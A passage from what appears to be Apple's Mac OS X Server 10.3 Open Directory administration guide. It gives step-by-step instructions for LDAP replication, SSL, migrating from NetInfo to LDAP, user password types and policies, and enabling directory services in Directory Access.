computer account. Delegated Administrators: Enter a short name or a long name for each user account to which you want to delegate authority. Separate multiple names by pressing Return after each name. Joining a Server to an Open Directory Master for Single Signon and Kerberos Using Server Admin, a server administrator whose user account has the properly delegated authority can join a server to an Open Directory master for single signon and Kerberos authentication. This authority must be delegated in advance by an administrator of the Open Directory master. To join a server to an Open Directory master for single signon and Kerberos: 1 Open Server Admin and select Open Directory for the target server in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click General (near the top). 3 Confirm that the Role is Connected to a Directory System, then click Join Kerberos and enter the name and password of a user account that has been delegated authority for the target server. Setting LDAP Options You can set several options for LDAP directories of an Open Directory master or replica. See the following: • “Setting the Replication Frequency of an Open Directory Master” (next) • “Changing the Location of an LDAP Database” on page 64 • “Limiting Search Results for LDAP Service” on page 65 • “Changing the Search Timeout for LDAP Service” on page 65 • “Setting up SSL for LDAP Service” on page 65 LL2352.Book Page 63 Friday, August 22, 2003 3:12 PM 64 Chapter 5 Setting Up Open Directory Services Setting the Replication Frequency of an Open Directory Master Using Server Admin, you can specify how frequently an Open Directory master will update its replicas with changes to directory and authentication information. The master can update the replicas whenever a change occurs in the master directory domain or on a schedule you specify. To specify how frequently an Open Directory master updates its replicas: 1 Open Server Admin and select Open Directory for an Open Directory master server in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click General (near the top). 3 Specify a replication frequency. “Replicate to clients whenever the directory is modified”: Keeps replicas accurate, but increases network load. May impair the performance of the master if a replica is connected via a slow network link. “Replicate to clients every __”: Allows you to schedule less frequent updates (by specifying a longer interval). Less frequent updates trades less accuracy of replicas for fewer network connections between the master and its replicas. Fewer network connections may be desirable if replicas are not all on the same LAN as the master. 4 Click Save. Changing the Location of an LDAP Database Using Server Admin, you can specify the disk location of the database that stores the user records and other information in an LDAP directory domain of an Open Directory master or replica. The LDAP database is usually located on the startup volume, but can be on a different local volume. Note: For security purposes, databases that store authentication information for Open Directory and Kerberos are always located on the startup volume regardless of the LDAP database location. To change the location of a shared LDAP database: 1 Open Server Admin and in the Computers & Services list, select Open Directory for a server that is an Open Directory master or an Open Directory replica. 2 Click Settings (near the bottom of the window), then click Protocols (near the top). 3 Choose LDAP Settings from the Configure pop-up menu, then specify the folder path where you want the LDAP database to be located. 4 Click Save. LL2352.Book Page 64 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 65 Limiting Search Results for LDAP Service Using Server Admin, you can prevent one type of denial-of-service attack on Mac OS X Server by limiting the number of search results returned by the server’s shared LDAP directory domain. Limiting the number of search results prevents a malicious user from tying up the server by sending it multiple all-inclusive LDAP search requests. To set a maximum number of LDAP search results: 1 Open Server Admin and in the Computers & Services list, select Open Directory for a server that is an Open Directory master or an Open Directory replica. 2 Click Settings (near the bottom of the window), then click Protocols (near the top). 3 Choose LDAP Settings from the Configure pop-up menu, then enter the maximum number of search results. 4 Click Save. Changing the Search Timeout for LDAP Service Using Server Admin, you can prevent one type of denial-of-service attack on Mac OS X Server by limiting the amount of time the server will spend on one search of its shared LDAP directory domain. Setting a search timeout prevents a malicious user from tying up the server by sending it an exceptionally complex LDAP search request. To set a timeout interval for LDAP searches: 1 Open Server Admin and in the Computers & Services list, select Open Directory for a server that is an Open Directory master or an Open Directory replica. 2 Click Settings (near the bottom of the window), then click Protocols (near the top). 3 Choose LDAP Settings from the Configure pop-up menu, then specify a search timeout interval. 4 Click Save. Setting up SSL for LDAP Service Using Server Admin, you can set up encrypted communications between a shared LDAP directory domain on Mac OS X Server and other servers that connect to the directory domain. You can enable Secure Sockets Layer (SSL) for encrypted LDAP communications and specify the location of the SSL certificate file, key file, and certificate authority (CA) certificate file. SSL communications for LDAP use port 636. If SSL is disabled for LDAP service, communications are sent as clear text on port 389. LL2352.Book Page 65 Friday, August 22, 2003 3:12 PM 66 Chapter 5 Setting Up Open Directory Services To set up SSL communications for LDAP service: 1 Open Server Admin and in the Computers & Services list, select Open Directory for a server that is an Open Directory master or an Open Directory replica. 2 Click Settings (near the bottom of the window), then click Protocols (near the top). 3 Choose LDAP Settings from the Configure pop-up menu, then select Use SSL. 4 Enter the location and name for the SSL Certificate, SSL Key, and CA Certificate. Instead of typing or pasting the location and name of the SSL Certificate, SSL Key, or CA Certificate, you can locate it by clicking the Browse button next to the field. 5 Click Save. Migrating a Directory Domain From Netinfo to LDAP You can use Server Admin to migrate a shared NetInfo directory domain to LDAP. The migration process irreversibly replaces the directory domain’s NetInfo back-end database with a Berkeley DB back-end database. After migration, client computers that were configured to use NetInfo to access the directory domain will be able to continue accessing it. After migration, you can configure DHCP service to provide the migrated directory domain as an LDAP server to client computers with Mac OS X or Mac OS X Server version 10.2 and later that have automatic authentication search policies. You can have client computers with Mac OS X version 10.3 or Mac OS X Server version 10.3 automatically switch to using LDAP to access the migrated directory domain. The migration process can store auto-switch information in the directory domain. When Mac OS X and Mac OS X Server version 10.3 and later use NetInfo to access a directory domain that has been migrated to LDAP, they pick up the auto-switch information from the directory domain and reconfigure themselves to access the directory domain using LDAP henceforth. When you set up migration, you can specify a date on which NetInfo access to the migrated directory domain will be disabled. Alternatively, you can disable NetInfo access at any time by clicking a button. After NetInfo is disabled, client computers can’t switch automatically to LDAP. The migration process moves all standard record types and data types from the NetInfo database to an LDAP database. If the NetInfo directory domain was modified to contain custom record types or data types, they are not moved to the LDAP database. LL2352.Book Page 66 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 67 Migration to LDAP does not change how user passwords are validated except for passwords validated by Authentication Manager. Passwords that were validated by a Password Server continue to be validated by the same Password Server. If any user accounts in the NetInfo domain used Authentication Manager for password validation, the migration process converts them to have a password type of Open Directory. Of course, an administrator can change the password type of any migrated user account to Open Directory so that the user account can take advantage of single signon and Kerberos authentication. Important: Do not click the Disable NetInfo button by accident. Clicking Disable NetInfo immediately disables NetInfo access to the directory domain. You can’t undo this change. After disabling NetInfo, all computers that need to connect to the directory domain must be configured to do so using LDAP. To migrate a server’s shared directory domain from NetInfo to LDAP: 1 Open Server Admin and select Open Directory for an Open Directory master server in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Protocols (near the top). 3 Choose NetInfo Migration from the Configure pop-up menu. 4 Click Migrate and set the migration options. Administrator short name: The short name of an administrator account in the server’s local directory domain that you want to have copied to the migrated LDAP directory. This account will be an administrator of the LDAP directory domain. Administrator password: The password for the administrator account whose short name you entered. Kerberos realm name: By convention, the Kerberos realm name is the same as the server’s DNS name but in all uppercase letters. For example, a server whose DNS name is example.com would have a Kerberos realm name of EXAMPLE.COM. Search base (optional): The search base suffix for the migrated LDAP directory. Typically, the search base suffix is derived from the server’s DNS name. For example, the search base suffix could be “dc=example, dc=com” for a server whose DNS name is server.example.com. Switch existing NetInfo clients to LDAP: Enables client computers with Mac OS X or Mac OS X Server version 10.3 to automatically reconfigure themselves to access the migrated directory domain using LDAP instead of NetInfo. Shut down NetInfo Server at 2:00 am on __: Enter a date when you want to end NetInfo access to the migrated directory domain. After NetInfo is disabled, all computers must use LDAP to access the migrated directory domain. 5 Click OK to begin migration. The migration process can take a while. LL2352.Book Page 67 Friday, August 22, 2003 3:12 PM 68 Chapter 5 Setting Up Open Directory Services 6 After migration finishes, set up DHCP service to provide the LDAP server’s address to client computers with automatic search policies. Computers with Mac OS X or Mac OS X Server version 10.2 can have automatic search policies. These computers don’t have to be configured individually to access the LDAP server. When these computers start up, they try to get an LDAP server’s address from DHCP service. For instructions on setting up DHCP service to supply an LDAP server’s address, see the network services administration guide. Switching Directory Access From NetInfo to LDAP After you migrate a shared directory domain of Mac OS X Server from NetInfo to LDAP, some clients will switch to LDAP automatically, but you may have to configure other clients to use LDAP and you may have to reconfigure DHCP service. • Computers with an automatic authentication search policy get the address of their directory server from DHCP service. Therefore, you need to change DHCP service to supply the address of the migrated LDAP directory’s server. • Computers with Mac OS X Server version 10.3 that were using NetInfo to access the migrated directory domain can switch to LDAP automatically. Automatic switching must be enabled when the directory domain is migrated from NetInfo to LDAP. Mac OS X can no longer switch automatically to LDAP after you disable NetInfo on the migrated directory domain’s server. • You can manually switch a Mac OS X computer to LDAP by using Directory Access. • You can configure the computer to use an automatic authentication search policy. In this case, you also need to configure DHCP service to supply the migrated LDAP directory server’s address to its clients. • Alternatively, you can set up an LDAPv3 configuration on the computer and add this LDAPv3 configuration to the computer’s custom authentication search policy. • After you disable NetInfo on the server, make sure DHCP is not supplying the server’s address for NetInfo binding. For more information, see “Migrating a Directory Domain From Netinfo to LDAP” on page 66, “Setting Up the Authentication and Contacts Search Policies” on page 87, and “Accessing LDAP Directories” on page 90, and the DHCP chapter in the network services administration guide. LL2352.Book Page 68 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 69 Disabling NetInfo After Migrating to LDAP If none of the client computers on your network needs NetInfo access to a directory domain that has been migrated to LDAP, you can use Server Admin to disable NetInfo. You can manually disable the NetInfo server even if you scheduled a shutdown of the NetInfo server while setting up the migration to LDAP. Important: Do not disable NetInfo prematurely. After disabling NetInfo, all computers that need to connect to the directory domain must be configured to do so using LDAP. To disable NetInfo access to a directory domain that has been migrated to LDAP: 1 Open Server Admin and select Open Directory for an Open Directory master server in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Protocols (near the top). 3 Choose NetInfo Migration from the Configure pop-up menu. 4 Click Disable NetInfo. Clicking Disable NetInfo immediately disables NetInfo access to the directory domain. You can’t undo this change. LL2352.Book Page 69 Friday, August 22, 2003 3:12 PM LL2352.Book Page 70 Friday, August 22, 2003 3:12 PM 6 71 6 Managing User Authentication The authentication services included with Mac OS X Server don’t require any setup, but you can change how each user is authenticated. Mac OS X Server can authenticate users by: • Using single signon with the Kerberos Key Distribution Center (KDC) built into Mac OS X Server • Using a password stored securely in the Open Directory Password Server database • Using a shadow password stored as several hashes, including NT and LAN Manager, in a file that only the root user can access • Using a crypt password stored directly in the user’s account • Using a non-Apple LDAP server for simple LDAP bind authentication Single signon and Kerberos authentication require minimal setup of Mac OS X Server. The other authentication options require no setup of Mac OS X Server. You can manage how Mac OS X Server uses the available options to authenticate users. For task descriptions and instructions, see: • “Composing a Password” on page 72 • “Changing a User’s Password” on page 72 • “Resetting the Passwords of Multiple Users” on page 73 • “Changing the Global Password Policy” on page 74 • “Setting Password Policies for Individual Users” on page 75 • “Changing a User’s Password Type” on page 76 This includes changing the password type to Open Directory, shadow password, or crypt password; and enabling single signon, Kerberos, or LDAP bind authentication. • “Assigning Administrator Rights for Open Directory Authentication” on page 80 • “Exporting and Importing Users Whose Password Type Is Open Directory” on page 81 • “Migrating Passwords to Open Directory Authentication” on page 82 LL2352.Book Page 71 Friday, August 22, 2003 3:12 PM 72 Chapter 6 Managing User Authentication Composing a Password The password associated with a user’s account must be entered by the user when he or she authenticates for login or some other service. The password is case sensitive (except for SMB LAN Manager passwords) and is masked on the screen as it is entered. Regardless of the password type you choose for any user, here are some guidelines for composing a password for Mac OS X Server users: • A password should contain letters, numbers, and symbols in combinations that won’t be easily guessed by unauthorized users. Passwords should not consist of actual words. Good passwords might include digits and symbols (such as # or $). Or they might consist of the first letter of all the words in a particular phrase. Use both uppercase and lowercase letters. • Avoid spaces and Option-key combinations. • Avoid characters that can’t be entered on computers the user will be using or that might require knowing a special keystroke combination to enter correctly on different keyboards and platforms. • Some network protocols do not support passwords that contain leading spaces, embedded spaces, or trailing spaces. • A zero-length password is not recommended; Open Directory and some systems (such as LDAP bind) do not support a zero-length password. For maximum compatibility with computers and services your users might use, use only ASCII characters in passwords. Changing a User’s Password You can use Workgroup Manager to change a user’s password. To change a user’s password: 1 In Workgroup Manager, click the Accounts button, then click the User button. 2 Open the directory domain that contains the user account whose password you want to change, and authenticate as an administrator of the domain. To open a directory domain, click the small globe icon above the list of users and choose from the pop-up menu. If the user’s password type is Open Directory, you must authenticate as an administrator whose password type is Open Directory. 3 Select the account whose password needs to be changed. 4 Enter a password on the Basic pane, then click Save. 5 Tell the user the new password so he or she can log in. After the user logs in to Mac OS X with the new password, the user can change the password by clicking Accounts in System Preferences. LL2352.Book Page 72 Friday, August 22, 2003 3:12 PM Chapter 6 Managing User Authentication 73 If you change the password of an account whose password type is Open Directory and the account resides in the LDAP directory of an Open Directory replica or master, the change will eventually be synchronized with the master and all its replicas. Mac OS X Server automatically synchronizes changes to Open Directory passwords among a master and its replicas. Resetting the Passwords of Multiple Users You can use Workgroup Manager to simultaneously select multiple user accounts and change them all to have the same password type and the same temporary password. To change the password type and password of multiple user accounts: 1 In Workgroup Manager, click the Accounts button, then click the User button. 2 Open the directory domain that contains the user account whose password types and passwords you want to reset, and authenticate as an administrator of the domain. To open a directory domain, click the small globe icon above the list of users and choose from the pop-up menu. If you want to set the password type to be Open Directory, you must authenticate as an administrator whose password type is Open Directory. 3 Command-click or Shift-click user accounts to select all accounts whose password type needs to be changed. 4 Enter a password on the Basic pane, then set the User Password Type option on the Advanced pane. 5 Click Save. 6 Tell the users the temporary password so they can log in. After logging in with the temporary password, a user can change the password by clicking Accounts in System Preferences. If you change the password of accounts whose password type is Open Directory and the accounts reside in the LDAP directory of an Open Directory replica or master, the change will eventually be synchronized with the master and all its replicas. Mac OS X Server automatically synchronizes changes to Open Directory passwords among a master and its replicas. LL2352.Book Page 73 Friday, August 22, 2003 3:12 PM 74 Chapter 6 Managing User Authentication Changing the Global Password Policy Using Server Admin, you can set a global password policy for user accounts in a Mac OS X Server directory domain. The global password policy affects user accounts in the server’s local directory domain. If the server is an Open Directory master or replica, the global password policy also affects the server’s LDAP directory domain. If you change the global password policy on an Open Directory replica, the policy settings will eventually be synchronized with the master and any other replicas of it. Both Kerberos and Open Directory Password Server enforce password policies. Some password policy rules apply to Open Directory Password Server and Kerberos, and some apply only to Open Directory Password Server. Mac OS X Server synchronizes the password policy rules that apply to both Kerberos and Open Directory Password Server. Administrator accounts are always exempt from password policies. Each user can have an individual password policy that overrides some of the global password policy settings. For more information, see “Setting Password Policies for Individual Users” on page 75. To change the global password policy of all user accounts in the same domain: 1 Open Server Admin and select Open Directory for a server in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Authentication (near the top). 3 Set the password policy options you want enforced for users who do not have their own individual password policies. “Disable login on __”: If you select this option, enter a date in mm/dd/yyyy format; for example, 02/22/2005. “Password must be changed every __”: If you select this option, remember that some service protocols don’t allow users to change passwords. For example, users can’t change their passwords when authenticating for IMAP mail service, and users can’t change passwords when authenticating for Windows file service. 4 Click Save. Replicas of the Open Directory master automatically inherit its global password policy. LL2352.Book Page 74 Friday, August 22, 2003 3:12 PM Chapter 6 Managing User Authentication 75 Setting Password Policies for Individual Users Using Workgroup Manager, you can set password policies for individual user accounts whose password type is Open Directory. The password policy for a user overrides the global password policy defined on the Authentication Settings pane of Open Directory service in Server Admin. Administrator accounts are always exempt from password policies. Both Kerberos and Open Directory Password Server enforce password policies. Some password policy rules apply to Open Directory Password Server and Kerberos, and some apply only to Open Directory Password Server. Mac OS X Server synchronizes the password policy rules that apply to both Kerberos and Open Directory Password Server. To set a user account’s password policy, you must have administrator rights for Open Directory authentication in the directory domain that contains the user accounts whose password policy you want to change. This means you must authenticate as a directory domain administrator whose password type is Open Directory. For more information, see “Assigning Administrator Rights for Open Directory Authentication” on page 80. To change the password policy for a user account: 1 In Workgroup Manager, open the account you want to work with if it is not already open. To open an account, click the Accounts button, then click the Users button. Click the small globe icon above the list of users and choose from the pop-up menu to open the directory domain where the user’s account resides. Click the lock and authenticate as a directory domain administrator whose password type is Open Directory. Then select the user in the list. 2 Click Advanced, then click Options. You can click Options only if the password type is Open Directory. 3 Change password policy options, then click OK. “Disable login on date __”: If you select this option, enter a date in mm/dd/yyyy format; for example, 02/22/2005. “Require a change every __ days”: If you select this option, remember that some service protocols don’t allow users to change passwords. For example, users can’t change their passwords when authenticating for IMAP mail service. The password ID is a unique 128-bit number assigned when the password is created in the Open Directory Password Server database. It might be helpful in troubleshooting, since it appears in the Password Server log when a problem occurs. View this Open Directory log in Server Admin. 4 Click Save. LL2352.Book Page 75 Friday, August 22, 2003 3:12 PM 76 Chapter 6 Managing User Authentication Changing a User’s Password Type You can set the password type on the Advanced pane of Workgroup Manager to one of the following: • Open Directory • Shadow password • Crypt password Setting a user’s password type to Open Directory enables multiple legacy authentication methods and also enables single signon and Kerberos if the user’s account is in an LDAP directory. You can also enable a user account to use simple LDAP bind authentication. For explanations of the authentication options, see Chapter 3, “User Authentication With Open Directory.” Changing the Password Type to Open Directory Using Workgroup Manager, you can specify that Open Directory be used for authenticating one or more user accounts stored in the local directory domain or the LDAP directory domain of Mac OS X Server. In addition, you can specify that Open Directory be used for authenticating user accounts in any LDAP or NetInfo directory domain residing on a server with Mac OS X Server version 10.2. The Open Directory password type supports single signon using Kerberos authentication. It also supports the Simple Authentication and Security Layer (SASL) authentication protocols, which include APOP, CRAM-MD5, DHX, Digest-MD5, MS- CHAPv2, SMB-NT, SMB-LAN Manager, and WebDAV-Digest. To set a user account’s password type to Open Directory, you must have administrator rights for Open Directory authentication in the directory domain that contains the user account. This means you must authenticate as a directory domain administrator whose password type is Open Directory. For more information, see “Assigning Administrator Rights for Open Directory Authentication” on page 80. LL2352.Book Page 76 Friday, August 22, 2003 3:12 PM Chapter 6 Managing User Authentication 77 To specify that a user account authenticate using Open Directory: 1 Make sure the user’s account resides in a directory domain that supports Open Directory authentication. Directory domains on Mac OS X Server version 10.3 support Open Directory authentication, as do directory domains on Mac OS X Server version 10.2 that are configured to use a Password Server. 2 In Workgroup Manager, open the account you want to work with if it is not already open. To open an account, click the Accounts button, then click the Users button. Click the small globe icon above the list of users and choose from the pop-up menu to open the directory domain where the user’s account resides. Click the lock and authenticate as a directory domain administrator whose password type is Open Directory. Then select the user in the list. 3 Click Advanced, then choose Open Directory from the User Password Type pop-up menu. 4 If you changed the user’s password type, you will be prompted to enter and verify a new password. If you are working with a new user, enter the password on the Basic pane in the Password field, then reenter it in the Verify field. The password must contain no more than 512 bytes (up to 512 characters, although the network authentication protocol can impose different limits; for example, 128 characters for SMB-NT and 14 for SMB-LAN Manager. The user management guide provides guidelines for choosing passwords). 5 On the Advanced pane, click Options to set up the user’s password policy, and click OK when you have finished specifying options If you select the “Disable login as of” option, enter a date in MM/DD/YYYY format; for example, 02/22/2004. If you use a policy that requires user password changing, remember that not all protocols support changing passwords. For example, users can’t change their passwords when authenticating for IMAP mail service. The password ID is a unique 128-bit number assigned when the password is created in the Open Directory Password Server database. It might be helpful in troubleshooting, since it appears in the Password Server log when a problem occurs. View this Open Directory log in Server Admin. 6 Click Save. LL2352.Book Page 77 Friday, August 22, 2003 3:12 PM 78 Chapter 6 Managing User Authentication Changing the Password Type to Crypt Password Using Workgroup Manager, you can specify that a crypt password be used for authenticating one or more user accounts stored in an LDAP or NetInfo directory domain. The LDAP directory domain can be on any server, but cannot be a read-only directory. The NetInfo domain can be on any Mac OS X Server. The crypt password is stored as an encrypted value, or hash, in the user account. Because the crypt password can be recovered easily from the directory domain, it is subject to offline attack and therefore is less secure than other password types. To specify that a user account authenticate using a crypt password: 1 In Workgroup Manager, open the account you want to work with if it is not already open. To open an account, click the Accounts button, then click the Users button. Click the small globe icon above the list of users and choose from the pop-up menu to open the directory domain where the user’s account resides. Click the lock and authenticate as a directory domain administrator. Then select the user in the list. 2 Click Advanced, then choose “Crypt password” from the User Password Type pop-up menu. 3 If you changed the user’s password type, you will be prompted to enter and verify a new password. If you are working with a new user, enter the password on the Basic pane in the Password field, then reenter it in the Verify field. A crypt password can be at most eight bytes (eight ASCII characters) long. If you enter a longer password, only the first eight bytes are used. 4 Click Save. LL2352.Book Page 78 Friday, August 22, 2003 3:12 PM Chapter 6 Managing User Authentication 79 Changing the Password Type to Shadow Password Using Workgroup Manager, you can specify that a user have a shadow password stored in a secure file apart from the directory domain. Only users whose accounts reside in the local directory domain can have a shadow password. To specify that a user account authenticate using a shadow password: 1 In Workgroup Manager, open the account you want to work with if it is not already open. To open an account, click the Accounts button, then click the Users button. Click the small globe icon above the list of users and choose from the pop-up menu to open the local directory domain where the user’s account resides. Click the lock and authenticate as a directory domain administrator. Then select the user in the list. 2 Click Advanced, then choose Shadow Password from the User Password Type pop-up menu. 3 If you changed the user’s password type, you will be prompted to enter and verify a new password. If you are working with a new user, enter the password on the Basic pane in the Password field, then reenter it in the Verify field. 4 Click Save. Enabling Single Signon Authentication for a User You enable single signon authentication for a user account in an LDAP directory Mac OS X Server version 10.3 by using the Advanced pane of Workgroup Manager to set the account’s password type to Open Directory. Single signon is a feature of Kerberos authentication. For instructions, see “Changing the Password Type to Open Directory” on page 76. Enabling Kerberos Authentication for a User You enable Kerberos authentication for a user account in an LDAP directory of Mac OS X Server version 10.3 by setting the account’s password type to Open Directory on the Advanced pane of Workgroup Manager. For instructions, see “Changing the Password Type to Open Directory” on page 76. LL2352.Book Page 79 Friday, August 22, 2003 3:12 PM 80 Chapter 6 Managing User Authentication Enabling LDAP Bind Authentication for a User You can use Workgroup Manager to enable the use of LDAP bind authentication for a user account stored in an LDAP directory domain. When you use this password validation technique, you rely on the LDAP server that contains the user account to authenticate the user’s password. To enable LDAP bind user authentication using Workgroup Manager: 1 Make sure the account for a user whose password you want to validate using LDAP bind resides on an LDAP server in the search path of the Mac OS X computer that needs to validate the password. See “Accessing LDAP Directories” on page 90 for information about configuring LDAP server connections. Avoid mapping the password attribute when configuring the connection; bind authentication will occur automatically. Also, set up the connection so it uses SSL in order to protect the password, passed in clear text, while it is in transit. 2 In Workgroup Manager, open the account you want to work with if it is not already open. To open an account, click the Accounts button, then click the Users button. Click the small globe icon above the list of users and choose from the pop-up menu to open the LDAP directory domain where the user’s account resides. Click the lock and authenticate as a directory domain administrator. Then select the user in the user list. 3 On the Advanced pane, choose “Crypt password” from the User Password Type pop-up menu. 4 On the Basic pane, make sure the Password field is empty. 5 Click Save. Assigning Administrator Rights for Open Directory Authentication You can work with Open Directory authentication settings in Workgroup Manager only if you authenticate as an administrator of the directory domain that contains the user accounts you want to work with. In addition, the administrator must use Open Directory authentication. These restrictions protect the security of passwords stored in the Kerberos KDC and the Open Directory Password Server database. See “Changing the Password Type to Open Directory” on page 76. For instructions on assigning administrator rights for a directory domain, see the user accounts chapter in the user management guide. Do not use the Options button on the Advanced pane to set up password policies for directory domain administrators. Password policies are not enforced for administrator accounts. Directory domain administrators need to be able to change password policies of individual user accounts. LL2352.Book Page 80 Friday, August 22, 2003 3:12 PM Chapter 6 Managing User Authentication 81 Exporting and Importing Users Whose Password Type Is Open Directory When you export user accounts whose password type is set to Open Directory, passwords are not exported. This protects the security of the Open Directory Password Server database. Before importing, you can use a spreadsheet application to open the file of exported users and preset their passwords, which they can change the next time they log in. After importing, you have a couple of options for setting the passwords of the imported user accounts: • You can set all the imported user accounts to use a temporary password, which each user can change the next time he or she logs in. For instructions, see “Resetting the Passwords of Multiple Users” on page 73. • You can set the password of each imported user account individually on the Basic pane of Workgroup Manager. For instructions, see “Changing a User’s Password Type” on page 76. Exporting and Importing Authentication Manager Users When you export user accounts that have crypt passwords from a NetInfo domain for which Authentication Manager is enabled, passwords are not exported. After importing to a directory domain of Mac OS X Server version 10.3, you have a couple of options for setting the passwords of the imported user accounts: • You can set all the imported user accounts to use a temporary password, which each user can change the next time he or she logs in. For instructions, see “Resetting the Passwords of Multiple Users” on page 73. • You can set the password of each imported user account individually on the Basic pane of Workgroup Manager. For instructions, see “Changing a User’s Password Type” on page 76. Authentication Manager is a legacy technology for securely validating passwords. Authentication Manager only works with user accounts that were created in a NetInfo domain of Mac OS X Server version 10.0–10.2. Authentication Manager must have been enabled for the NetInfo domain. For more information, see Appendix C, “Authentication Manager.” LL2352.Book Page 81 Friday, August 22, 2003 3:12 PM 82 Chapter 6 Managing User Authentication Migrating Passwords to Open Directory Authentication User accounts can be migrated from earlier versions of Mac OS X Server by importing the account records or upgrading the server where they reside. User accounts created with Mac OS X Server version 10.1 or earlier have no authentication authority attribute but do have crypt passwords. For compatibility with such user accounts, Mac OS X Server version 10.2 and later assumes a user account without an authentication authority attribute has a crypt password. If you import user accounts from Mac OS X Server version 10.1 or earlier, the user accounts have no authentication authority attribute. Therefore these user accounts are initially configured to have crypt passwords. An appendix in the user management guide describes how to import user accounts. Likewise, if you upgrade from Mac OS X Server version 10.1 or earlier, user accounts that were created before upgrading have no authentication authority attribute. After upgrading, these user accounts are assumed to have crypt passwords. While all the existing crypt passwords can continue to be used after importing or upgrading, you can change the user accounts to use Open Directory authentication. You can change individual user accounts or multiple user accounts by using Workgroup Manager. Changing a user account’s password type will reset the password. For instructions, see “Changing the Password Type to Open Directory” on page 76. Some user accounts created with Mac OS X Server version 10.1 or earlier may use Authentication Manager. It is a legacy technology for authenticating users of Windows file service and users of Apple file service whose Mac OS 8 computers have not been upgraded with AFP client software version 3.8.3 or later. When migrating Authentication Manager users, you have the following options: • If you upgrade server version first from Mac OS X Server version 10.1 to version 10.2 and then to version 10.3, existing users can continue to use their same passwords. • You can change some or all upgraded user accounts to use Open Directory authentication, which is the preferred option for authenticating Windows users. Users of both types can coexist in the same directory domain. • If you import user accounts that use Authentication Manager, they will be converted to Open Directory authentication during importing. LL2352.Book Page 82 Friday, August 22, 2003 3:12 PM 7 83 7 Managing Directory Access You can use Directory Access to set up and manage how a computer with Mac OS X or a server with Mac OS X Server accesses directory services and discovers network services. For setup and management task descriptions and instructions, see: • “Setting Up Services in Directory Access” on page 83 • “Setting Up the Authentication and Contacts Search Policies” on page 87 • “Accessing LDAP Directories” on page 90 • “Accessing an Active Directory Domain” on page 100 • “Accessing an NIS Domain” on page 107 • “Using BSD Configuration Files” on page 108 • “Accessing Legacy NetInfo Domains” on page 109 • “Setting Up Directory Access on a Remote Server” on page 113 Setting Up Services in Directory Access Directory Access lists the different kinds of services that Mac OS X can access. The list includes directory services, which give Mac OS X access to user information and other administrative data stored in directory domains. The list also includes kinds of network services that Mac OS X can discover on the network. You can enable or disable access to each kind of service. If you disable a kind of service in Directory Access, Mac OS X no longer accesses services of the disabled kind. However, disabling a kind of service in Directory Access does not affect the ability of Mac OS X to use or provide services of that kind. For example, if you disable Rendezvous, Mac OS X does not use it to discover file services, but you can still share your files and connect to a file server if you know its address. LL2352.Book Page 83 Friday, August 22, 2003 3:12 PM 84 Chapter 7 Managing Directory Access Enabling or Disabling Active Directory Service You can use Directory Access to enable or disable the use of Active Directory on a Windows server. Active Directory is the directory service of Windows 2000 and 2003 servers. To enable or disable access to Active Directory: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to Active Directory and click Apply. For configuration instructions, see “Accessing LDAP Directories” on page 90. Enabling or Disabling AppleTalk Service Discovery You can use Directory Access to enable or disable the discovery of AppleTalk network services. AppleTalk is a legacy Mac OS protocol for network file and print services. Some computers use AppleTalk to share files, and some servers use AppleTalk for file service. In addition, some shared printers use AppleTalk. To enable or disable AppleTalk service discovery: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to AppleTalk and click Apply. AppleTalk does not require configuration. Enabling or Disabling BSD Flat File and NIS Directory Services You can use Directory Access to enable or disable the use of BSD configuration files and access to Network Information Service (NIS) directory services. BSD configuration files are the original method for accessing administrative data on UNIX computers, and some organizations still use them. Some UNIX servers use NIS to provide directory services. To enable or disable BSD flat file and NIS directory services: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to “BSD Flat File and NIS” and click Apply. For configuration instructions, see “Accessing an NIS Domain” on page 107 and “Using BSD Configuration Files” on page 108. LL2352.Book Page 84 Friday, August 22, 2003 3:12 PM Chapter 7 Managing Directory Access 85 Enabling or Disabling LDAP Directory Services You can use Directory Access to enable or disable access to directory services that use Lightweight Directory Access Protocol (LDAP) versions 2 and 3. A single Directory Access plug-in named LDAPv3 provides access to both LDAP versions 2 and 3. (The LDAPv2 plug-in of Mac OS X version 10.2 is not needed with Mac OS X version 10.3.) Mac OS X Server version 10.3 and later provides only LDAPv3 directory service to other computers, including Mac OS X computers. Mac OS X Server version 10.2 can provide LDAPv3 directory service to other computers (and it can provide NetInfo directory service). Many other servers also provide LDAPv3 directory service; LDAPv3 is an open standard common in mixed networks of Macintosh, UNIX, and Windows systems. Some servers also use the older version, LDAPv2, to provide directory service. To enable or disable LDAP directory services: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to LDAPv3 and click Apply. For configuration instructions, see “Accessing LDAP Directories” on page 90. Enabling or Disabling NetInfo Directory Services You can use Directory Access to enable or disable access to shared NetInfo directory domains. NetInfo is a legacy directory service that is still used for the local directory domain on every Mac OS X computer, including Mac OS X Server. NetInfo can also be used for a shared directory domain of Mac OS X Server version 10.2 and earlier. Disabling NetInfo in Directory Access does not disable access to the computer’s local NetInfo domain. Only access to shared NetInfo domains can be disabled. To enable or disable NetInfo directory services: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to NetInfo and click Apply. For configuration instructions, see “Accessing Legacy NetInfo Domains” on page 109. LL2352.Book Page 85 Friday, August 22, 2003 3:12 PM 86 Chapter 7 Managing Directory Access Enabling or Disabling Rendezvous Service Discovery You can use Directory Access to enable or disable the discovery of some Rendezvous network services. For example, disabling Rendezvous in Directory Access prevents Rendezvous-enabled file servers from appearing in the Network globe in the Finder. But disabling Rendezvous in Directory Access does not prevent Rendezvous-enabled printers from appearing in the Printer Setup Utility or prevent iTunes from using Rendezvous for music sharing. Rendezvous is an Apple protocol for discovering file, print, and other services on Internet Protocol (IP) networks. To enable or disable Rendezvous service discovery: 1 In Directory Access, click Services. 2 If the lock icon is locked, click it and type the name and password of an administrator. 3 Click the checkbox next to Rendezvous and click 